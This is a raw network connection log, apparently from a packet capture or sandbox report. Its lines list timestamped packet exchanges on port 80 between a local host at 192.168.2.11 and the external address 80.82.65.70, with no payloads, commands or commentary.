Dec 12, 2024 16:48:04.156950951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.157049894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.157164097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.157412052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.157433033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.157457113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.157457113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.157485008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.158108950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.158176899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.158195972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.158245087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.158912897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.158957005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.158970118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.159013987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.159718037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.159801960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.159837008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.159893990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.160437107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.160494089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.160541058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.160666943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.161381006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.161389112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.161456108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.162034988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.162090063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.162102938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.162130117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.162782907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.162853003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.162878990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.162954092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.163573027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.163640976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.163701057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.163749933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.164431095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.164501905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.164530039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.164608002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.165180922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.165287018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.165318966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.165348053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.165962934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.166023970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.166047096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.166073084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.166698933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.166806936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.166867018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.167642117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.167718887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.167787075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.168025017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.168287039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.168340921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.168382883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.168560982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.169049025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.169109106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.169120073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.169173002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.169852018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.169894934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.169920921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.169945002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.170634985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.170736074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.170758963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.170833111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.171447039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.171504974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.171643972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.171792030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.172211885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.172274113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.172298908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.172374964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.172977924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.173044920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.173051119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.173216105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.173764944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.173875093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.173877954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.173924923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.174535036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.174621105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.174658060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.174719095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.175434113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.175441980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.175498962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.176100016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.176179886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.176213980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.176242113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.176893950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.177000046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.177077055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.177674055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.177764893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.177843094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.178453922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.178523064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.178538084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.178590059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.179431915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.179461002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.179500103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.179532051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.234621048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.234735966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.234827995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.234903097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.235002995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.235058069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.235095978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.235163927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.235671043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.235785007 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.235793114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.235838890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.236541986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.236603022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.236644030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.236694098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.271397114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.271533012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.271621943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.271781921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.271935940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.271982908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.272027969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.272079945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.272625923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.272680044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.272727013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.273461103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.273612976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.273632050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.274305105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.274367094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.274404049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.275029898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.275094986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.275096893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.275830030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.275907993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.276010990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.276071072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.276551962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.276770115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.276854038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.277328014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.277439117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.277508020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.278263092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.278283119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.278325081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.278354883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.278908014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.278965950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.279057026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.279110909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.279661894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.279715061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.279807091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.280108929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.280461073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.280566931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.280627012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.280627966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.281256914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.281330109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.281348944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.281411886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.282079935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.282144070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.282234907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.282485962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.282813072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.282861948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.282893896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.282921076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.283582926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.283642054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.283675909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.283735037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.284368038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.284415007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.284477949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.285139084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.285197973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.285240889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.285293102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.285974979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.286062002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.286099911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.286156893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.349251986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.349349976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.349467039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.349545002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.349642992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.349651098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.349858046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.349925995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.350430965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.350554943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.350583076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.350687981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.351224899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.351281881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.351398945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.351457119 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.351995945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.352051020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.352113008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.352787018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.352963924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.353076935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.353557110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.353667021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.353766918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.354569912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.354634047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.354654074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.355366945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.355458021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.355503082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.355565071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.356118917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.356220007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.356257915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.356295109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.356765032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.356867075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.356996059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.357079029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.357613087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.357696056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.357734919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.357764959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.358346939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.358421087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.358491898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.358567953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.359098911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.359158039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.359196901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.359241962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.359872103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.359992981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.360034943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.360265970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.360630989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.360687017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.360714912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.360748053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.361413956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.361501932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.361530066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.361653090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.362183094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.362337112 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.362349033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.362433910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.362970114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.363024950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.363028049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.363085985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.363765955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.363833904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.363848925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.363913059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.364542961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.364650965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.364732981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.364785910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.365345955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.365420103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.365464926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.365706921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.366482019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.366641045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.366729975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.366791010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.367247105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.367306948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.367348909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.367398024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.367959023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.368097067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.368122101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.368185997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.368593931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.368649006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.368751049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.368812084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.369328976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.369426966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.369431973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.369565010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.370085001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.370145082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.370147943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.370194912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.370871067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.370896101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.370923042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.370984077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.371634007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.371675968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.371706963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.373745918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.426933050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.427022934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.427054882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.427089930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.427299976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.427388906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.427479029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.427659988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.428071022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.428122997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.428252935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.428303957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.428834915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.428942919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.463706970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.463818073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.463977098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.464039087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.464122057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.464325905 CET	80	49819	80.82.65.70	192.168.2.11
